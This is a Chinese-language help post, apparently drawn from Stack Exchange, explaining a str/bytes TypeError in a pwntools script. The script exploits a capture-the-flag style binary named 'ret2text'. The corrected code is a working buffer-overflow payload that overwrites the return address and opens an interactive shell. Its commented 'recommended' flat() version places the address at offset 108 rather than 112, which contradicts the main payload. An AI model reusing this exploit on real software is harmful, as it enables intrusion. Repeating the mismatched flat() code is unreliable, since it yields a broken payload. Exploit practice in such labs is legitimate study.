使用Pwntools编写漏洞利用代码时遇TypeError类型错误求助
问题解决:TypeError: can only concatenate str (not "bytes") to str
报错根源:
p32()函数返回的是bytes类型,而代码中'A' * 108和"junk"都是字符串(str类型),Python不允许直接拼接字符串与bytes类型数据,因此触发报错。修复方案:将所有字符串统一转为bytes类型后再拼接,或使用pwntools的
flat()函数自动处理类型转换:修正后的代码示例:
#!/usr/bin/env python from pwn import * sh = process('./ret2text') target = 0x804863a # 给字符串前缀加b转为bytes,与p32返回值类型统一 sh.sendline(b'A' * 108 + b"junk" + p32(target)) # 更推荐使用flat函数,自动处理类型与打包逻辑 # payload = flat({108: p32(target)}, filler=b'A', length=108+4+4) # sh.sendline(payload) sh.interactive()补充说明:pwntools的IO交互函数(如
sendline)默认接收bytes类型输入,统一用bytes构造payload能避免类型冲突。flat()函数还能简化复杂payload的构造,自动处理数据对齐、类型转换等细节。
内容的提问来源于stack exchange,提问作者Harry
相关产品推荐
相关产品推荐

